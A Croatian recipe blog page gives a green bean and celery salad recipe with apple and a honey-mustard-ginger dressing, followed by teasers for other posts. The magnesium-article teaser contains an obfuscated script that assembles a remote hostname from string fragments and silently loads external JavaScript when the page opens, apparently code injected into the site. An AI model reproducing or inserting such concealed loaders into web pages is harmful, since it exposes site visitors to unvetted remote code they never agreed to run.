SALATA OD MAHUNA I CELERA 🥗




Salata od mahuna i celera 



Ova salata savršeno se slaže s pečenim mesom, puretinom ili ribom, a jednako dobro funkcionira i kao lagani samostalni obrok. Svako glavno  jelo treba nešto svježe što će unijeti ravnotežu i teksturu, a salata od mahuna i celera čini upravo to. Hrskava jabuka, svježi celer i aromatični preljev s medom, senfom i đumbirom stvaraju savršenu kombinaciju koja razbija “težinu” ručka.



Salata od mahuna i celera 


Sastojci:

  • 700 g tankih zelenih mahuna (haricots verts), očišćenih


  • 1 ½ žlica jabučnog octa


  • 1 ½ žlica Dijon senfa


  • 1 ½ žlica meda ili javorova sirupa


  • 1 žlica svježe naribanog đumbira


  • 1 ½ žličica soli, plus još za kuhanje


  • ⅓ šalice maslinova ulja


  • 3 šalice tanko narezanog celera (4–6 velikih stabljika), plus šaka listića za posluživanje


  • 1 velika jabuka (npr. Honeycrisp), narezana na tanke štapiće


  • 1 žlica tostiranih sezamovih sjemenki




Priprema:

1. Skuhajte mahune

U velikom loncu zakuhajte vodu i obilno je posolite; voda bi trebala biti slana poput morske. Dodajte mahune i kuhajte 3–5 minuta, dok ne postanu svijetlozelene i mekane, ali još uvijek hrskave. Ocijedite i isperite hladnom vodom. Osušite i po želji spremite u hladnjak (do 48 sati unaprijed).




2. Napravite preljev

U velikoj zdjeli umutite jabučni ocat, Dijon senf, med (ili javorov sirup), naribani đumbir i sol. Postupno dodajte maslinovo ulje, neprestano miješajući dok se preljev ne poveže.




3. Složite salatu

Dodajte osušene mahune u zdjelu s preljevom, zatim celer i jabuku. Nježno promiješajte da se svi sastojci oblože preljevom. Umiješajte sezam i ponovno lagano promiješajte.



4. Poslužite

Salatu prebacite na pladanj i prelijte ostatkom preljeva iz zdjele. Po vrhu rasporedite listiće celera za svježinu i boju.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više